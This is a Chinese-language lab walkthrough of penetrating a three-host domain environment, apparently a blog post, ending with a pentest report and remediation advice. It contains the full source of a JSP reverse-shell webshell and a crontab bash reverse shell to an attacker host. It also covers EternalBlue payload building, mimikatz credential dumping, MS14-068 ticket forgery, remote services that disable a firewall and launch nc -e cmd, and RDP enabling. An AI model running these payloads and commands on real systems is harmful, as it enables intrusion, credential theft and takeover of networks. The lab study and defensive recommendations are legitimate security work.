<%! static class StreamConnector extends Thread { InputStream is; OutputStream os; StreamConnector(InputStream is, OutputStream os) { this.is = is; this.os = os; } public void run() { BufferedReader isr = null; BufferedWriter osw = null; try { isr = new BufferedReader(new InputStreamReader(is)); osw = new BufferedWriter(new OutputStreamWriter(os)); char buffer[] = new char[8192]; int lenRead; while( (lenRead = isr.read(buffer, 0, buffer.length)) > 0) { osw.write(buffer, 0, lenRead); osw.flush(); } } catch (Exception ioe) {} try { if(isr != null) isr.close(); if(osw != null) osw.close(); } catch (Exception ioe) {} } } %> <h1>JSP Backdoor Reverse Shell</h1> <form method="post"> IP Address <input type="text" name="ipaddress" size=30> Port <input type="text" name="port" size=10> <input type="submit" name="Connect" value="Connect"> </form> <p> <hr> <% String ipAddress = request.getParameter("ipaddress"); String ipPort = request.getParameter("port"); if(ipAddress != null && ipPort != null) { Socket sock = null; try { sock = new Socket(ipAddress, (new Integer(ipPort)).intValue()); Runtime rt = Runtime.getRuntime(); Process proc = rt.exec("/bin/bash"); StreamConnector outputConnector = new StreamConnector(proc.getInputStream(), sock.getOutputStream()); StreamConnector inputConnector = new StreamConnector(sock.getInputStream(), proc.getOutputStream()); outputConnector.start(); inputConnector.start(); } catch(Exception e) {} } %> <!-- http://michaeldaw.org 2006 -->在主页随便点一点找到网页上的这个文件find / -name security-howto.html然后将这个webshell下载下来,复制到这个目录下面wget 10.10.10.130:5000/jsp-reverse.jsp cp jsp-reverse.jsp /usr/local/tomcat/webapps/docs/输入ip和端口就可以反弹啦但是呐,创建不了交互式终端呢,有点难受奥,即使创建了,也是docker环境呢python2 -c 'import pty;pty.spawn("/bin/bash")'那么就使用上传公匙的方法免密登录ssh-keygen -t rsa -b 4096 # 回车 # 回车 # 回车靶机依次执行如下命令wget 10.10.10.130:5000/rain.pub chmod 700 /tmp/forest/home/ubuntu/.ssh/ cp rain.pub /tmp/forest/home/ubuntu/.ssh/authorized_keys chmod 600 /tmp/forest/home/ubuntu/.ssh/authorized_keyskali尝试连接(失败)经过测试很多遍了,靶机的/etc/ssh/sshd_config文件也修改了,还是不行ssh ubuntu@10.10.10.131开始排错,这个公匙权限是root,但是呢我们连接的时候使用的是ubuntu用户,而这个.ssh目录也是ubuntu用户的目录,所以连接的时候权限对不上,也会导致使用私匙连接失败但由于我们获取的是docker环境的shell,是没有ubuntu用户的,我们需要添加一个ubuntu用户useradd ubuntu chown ubuntu:ubuntu authorized_keys ls -al total 16 drwx------ 2 ubuntu ubuntu 4096 Feb 15 08:31 . drwxr-xr-x 17 ubuntu ubuntu 4096 Feb 15 08:26 .. -rw------- 1 ubuntu ubuntu 735 Feb 15 08:31 authorized_keys -rw-r----- 1 root root 91 Feb 15 08:05 rain.pub还是需要我们输入密码,权限给了,用户也添加了,卧槽我能怎么办。。。。。。那么大概率就是算法问题了,强制添加选项(卧槽,搞我半天,心态崩了)ssh ubuntu@10.10.10.131 -oPubkeyAcceptedKeyTypes=+ssh-rsa -i rain_rsassh连接问题排错方案给三个参考,目前我打靶所遇到的,可以写在自己的笔记里面ssh -oHostKeyAlgorithms=ssh-rsa,ssh-dss vmware@10.10.10.130 # Unable to negotiate with 10.10.10.129 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss ssh ubuntu@10.10.10.131 -oPubkeyAcceptedKeyTypes=+ssh-rsa -i id_rsa ssh -oHostKeyAlgorithms=+ssh-rsa -oPubkeyAcceptedKeyTypes=+ssh-rsa -i rain_rsa ubuntu@10.10.10.131内网信息收集我们还没有得到ubuntu的密码,获取不了最高root权限(sudo)不支持本地提权,像常规的suid提权都不行查看计划任务,没有ubuntu这个用户可以写的文件但是还有一种方式哈,我们刚刚获取的逃逸成功的shell,它是不是root?我们用这个root追加一个计划任务,那么真实的靶机就会定时执行这个命令是吧,前面我们密匙都登录成功了,这个问题还不简单嘛echo "/bin/bash -i >& bash -i >& /dev/tcp/10.10.10.130/1234 0>&1">> /tmp/forest/tmp/shell.sh chmod +x /tmp/forest/tmp/shell.sh cat /tmp/forest/tmp/shell.sh # 写入crontab计划任务,表示每隔1分钟以root权限执行一次计划 echo '*/1 * * * * root bash /tmp/shell.sh' > /tmp/forest/etc/crontab cat /tmp/forest/etc/crontab nc -lvnp 1234等待1分钟即可反弹成功创建交互式终端python3 -c 'import pty;pty.spawn("/bin/bash")'查看网卡内网主机发现root@ubuntu:/tmp# for i in {1..254}; do (ping -c 1 192.168.183.${i} | grep "bytes from" | grep -v "Unreachable" &); done; 64 bytes from 192.168.183.128: icmp_seq=1 ttl=128 time=0.682 ms 64 bytes from 192.168.183.129: icmp_seq=1 ttl=64 time=0.031 ms 64 bytes from 192.168.183.130: icmp_seq=1 ttl=128 time=0.829 ms发现了另外两台靶机,写入端口扫描工具,把扫描出来的另外两个靶机放入这个hosts变量里面#!/bin/bash hosts=( "192.168.183.128" "192.168.183.130" ) END=65535 for host in "${hosts[@]}" do echo "===============================" echo "Scanning $host" echo "===============================" for ((port=1;port<=END;port++)) do echo "" > /dev/tcp/$host/$port && echo "Port $port is open" done 2>/dev/null done扫描结果,第二个机器扫不出来结果,大概率是禁ping或者开了防火墙frp隧道搭建服务端开启frp服务器web靶机连接服务端编辑修改/etc/proxychains4.conf的最后一行数据使用Nmap对刚刚扫描出来的一个端口进行测试,135端口开启,代理成功!!proxychains Nmap -sT -sV 192.168.183.128 -Pn -T4 -p 135增加端口数量proxychains Nmap -sT -sV 192.168.183.128 -Pn -T4 -p 135,139,445,5357,49152,49153,49154,49155,49156,49157从上面的服务来看,大概率是一个Windows服务器,还开着一个http端口,访问一下看看,报了503服务器内部错误对445端口增加漏洞扫描的Nmap脚本proxychains Nmap -sT -sV 192.168.183.128 -Pn -T4 -p 445 --script=vulnms17-010很熟悉吧,是永痕之蓝如果说我们需要从对方的内网反弹Shell反弹到我们的kali上,那么就需要配置端口转发,服务器靶机执行如下命令,我们前面已经获取到了最高权限iptables -t nat -A PREROUTING -p tcp --dport 2222 -j DNAT --to-destination 10.10.10.130:4444这里我就不用端口转发了,没有用成功,感兴趣的可以试试(192.168.183.149是我的win7地址,中途恢复了快照几次),另外下面这个生成了两个payload,因为目前我们还不知道目标是x86还是x64的操作系统,所以生成了两个,然后合并成一个,这样就可以双利用了(注意要多打几次,否则可能利用不成功或者造成蓝屏)git clone https://github.com/worawit/MS17-010.git nasm -f bin eternalblue_kshellcode_x64.asm -o ./sc_x64_kernel.bin nasm -f bin eternalblue_kshellcode_x86.asm -o ./sc_x86_kernel.bin MSFvenom -p Windows/x64/shell_reverse_tcp LPORT=2222 LHOST=192.168.183.129 --platform Windows -a x64 --format raw -o sc_x64_payload.bin MSFvenom -p Windows/shell_reverse_tcp LPORT=2222 LHOST=192.168.183.129 --platform Windows -a x86 --format raw -o sc_x86_payload.bin cat sc_x64_kernel.bin sc_x64_payload.bin > sc_x64.bin cat sc_x86_kernel.bin sc_x86_payload.bin > sc_x86.bin python eternalblue_sc_merge.py sc_x86.bin sc_x64.bin sc_all.bin proxychains python ../eternalblue_exploit7.py 192.168.183.149 sc_all.bin反弹成功chcp 65001解决乱码问题域渗透查看所有网络信息,这里我没有画,稍微注意一下dns的地址,是192.168.183.130ipconfig /all查看域内用户,和本机用户,本机用户已经是最高system权限了,但是呢不在域用户列表中通过ping就可以获取目标IP信息啦,并且呢我们可以发现,这个地址是和dns地址一样的查看administrators组的成员如果没有密码,那就是目标靶机没有登录,需要登录一下,这样这些凭证才能保存到本地mimikatz.exe sekurlsa::logonpasswords记录一下sid为:S-1-5-21-979886063-1111900045-1414766810-1107利用ms14-068进行域内提权,伪造黄金票据,获取域控的操作权限ms14-068.exe -u douser@DEMO.com -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123利用mimikatz.exe导入上面生成的票据mimikatz # kerberos::purge //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造 mimikatz # kerberos::list //查看当前机器凭证 mimikatz # kerberos::ptc TGT_douser@DEMO.COM.ccache //将票据注入到内存中连接并查看域控,连接成功!通过net use挂载域控共享目录net use WIN-ENS2VR5TR3N dir \WIN-ENS2VR5TR3Nc$web肉鸡(ubuntu)因为只有它出网:wget https://eternallybored.org/misc/netcat/netcat-win32-1.12.zip unzip netcat-win32-1.12.zip python3 -m http.server将这个文件传上win7,由于cmd没有curl和wget等命令,但是测试了certutil可以使用,那么就用这个从web服务器下载下来,win7:certutil -urlcache -split -f http://192.168.183.129:8000/nc.exe c:nc.exe再将这个nc.exe复制到域控主机上copy C:nc.exe \WIN-ENS2VR5TR3Nc$nc.exe接着新建任务来关闭域控的防火墙sc \WIN-ENS2VR5TR3N create unablefirewall binpath= "netsh advfirewall set allprofiles state off" sc \WIN-ENS2VR5TR3N start unablefirewallwin7创建nc反弹任务sc \WIN-ENS2VR5TR3N create ncshell binpath= "c:nc.exe 192.168.183.129 1234 -e cmd" sc \WIN-ENS2VR5TR3N start ncshellweb服务器别忘记开nc监听nc -lnvp 1234拿到域控主机,获取主机密码,将win7的mimikatz复制到域控主机上copy mimikatz.exe \WIN-ENS2VR5TR3Nc$mimikatz.exe dir \WIN-ENS2VR5TR3Nc$在反弹成功的shell中执行刚刚复制下来的mimikatzmimikatz.exe sekurlsa::logonpasswords成功拿下域控的密码!!开启远程连接放行TCP端口3389,前面已经关闭了防火墙,这一步可以跳过etsh advfirewall firewall add rule name="Remote Desktop TCP" dir=in action=allow protocol=TCP localport=3389修改注册表,设置允许远程登录,需要重启一下,会发现获取不到挂载的域控目录信息了,重新根据上面的步骤再来一遍就行了reg add "HKLMSYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f shutdown /r /t 0打开proxifier开启全局代理,设置socks5连接kali的proxychains端口此时就可以用Windows的远程连接了远程连接成功!成功拿下域控主机远程访问权限!至此,渗透结束,当然还可以继续渗透,清理操作日志,也就几条命令的事儿。感兴趣的朋友们可以自行尝试另外也有第二种方法来,域控主机也是存在永恒之蓝漏洞的,然后利用域控主机横向到win7主机proxychains Nmap -sT 192.168.183.130 -p 445 --script=vuln报告总结一、测试目标概述靶场环境:由三台主机组成的域渗透环境(Ubuntu Web服务器、Windows域成员机、Windows域控服务器)网络拓扑: 外网段:10.10.10.0/24 内网段:192.168.183.0/24 核心目标:从外网突破至内网,获取域控(DC)权限。 二、渗透测试流程阶段一:外网打点 主机发现 使用arp-scan探测内网存活主机,定位Web服务器(10.10.10.131)。 端口扫描发现开放服务: 2001端口:Apache Struts2服务 2002端口:Tomcat管理界面 2003端口:phpMyAdmin 漏洞利用 Struts2 S2-045漏洞 使用公开EXP执行命令,获取Docker容器内Root权限,确认容器逃逸需求。# 反弹Shell命令 /bin/bash -i >& /dev/tcp/攻击机IP/端口 0>&1 Tomcat PUT方法任意文件上传 利用CVE-2017-12615上传JSP Webshell,获取Tomcat权限。 phpMyAdmin 4.8.1文件包含漏洞 包含日志文件/Session文件尝试GetShell,因环境限制未成功。 阶段二:内网横向移动 权限维持与逃逸 Docker逃逸(特权模式) 挂载宿主机磁盘至容器路径,通过写入SSH公钥或计划任务反弹Shell,获取宿主机Ubuntu权限。mount /dev/sda1 /mnt/host # 挂载宿主机磁盘 echo "恶意任务" >> /mnt/host/etc/crontab # 宿主机定时任务 内网探测 存活主机:192.168.183.128(Win7)、192.168.183.130(DC) 使用proxychains+frp搭建Socks代理,实现内网流量转发。 域成员机渗透(192.168.183.128) MS17-010永恒之蓝漏洞利用 生成混合Payload,通过Metasploit框架获取System权限Shell。 信息收集 域名称:DEMO.com 域用户:douser/Dotest123 域管理员组:Administrator(未直接暴露) 域控提权(192.168.183.130) MS14-068漏洞伪造黄金票据ms14-068.exe -u douser@DEMO.com -s SID -d DC_IP -p 密码 mimikatz.exe kerberos::ptc 票据文件 # 注入内存 横向控制 通过net use挂载域控共享目录,上传NC反弹Shell。 关闭防火墙,创建远程服务执行Payload,获取域控System权限。 三、关键风险点 外网服务漏洞 Struts2、Tomcat、phpMyAdmin等未及时修复公开漏洞。 内网隔离缺失 Docker容器与宿主机未做网络隔离,特权模式启用导致逃逸。 域内安全策略缺陷 未禁用弱协议(SMBv1),MS17-010补丁未安装。 域用户权限过高,允许普通域用户提权至域管理员。 四、修复建议 外网服务加固 升级Struts2、Tomcat至安全版本,禁用PUT方法。 phpMyAdmin限制访问IP,启用双因素认证。 内网隔离与监控 Docker容器使用非特权模式,启用AppArmor/SELinux。 部署IDS/IPS检测异常SMB流量(如永恒之蓝攻击特征)。 域安全策略优化 安装MS17-010补丁,关闭SMBv1协议。 实施最小权限原则,定期审计域用户权限。 启用LAPS(本地管理员密码解决方案),防止密码复用。 五、附录 渗透工具清单 漏洞扫描:Nmap、Nikto 漏洞利用:MSF、MS14-068 EXP、永恒之蓝利用脚本 横向移动:Proxychains、FRP、Mimikatz 攻击路径示意图 报告编制方:泷羽Sec安全团队 日期:2025年2月16日往期推荐ATK&CK红日靶场二,Weblogic漏洞利用,域渗透攻略【渗透测试】ATT&CK靶场一,phpmyadmin,域渗透,内网横向移动攻略【oscp】vulnerable_docker,三种代理方法打入内网【oscp】FALL,wfuzz参数模糊测试【oscp】超长攻击链,TommyBoy1dot0——过年快乐!【oscp】Tr0ll 靶机全系列(1-3),FTP被玩坏了
2025年05月18日
440 阅读
0 评论
0 点赞
1
...
11
12
13
...
15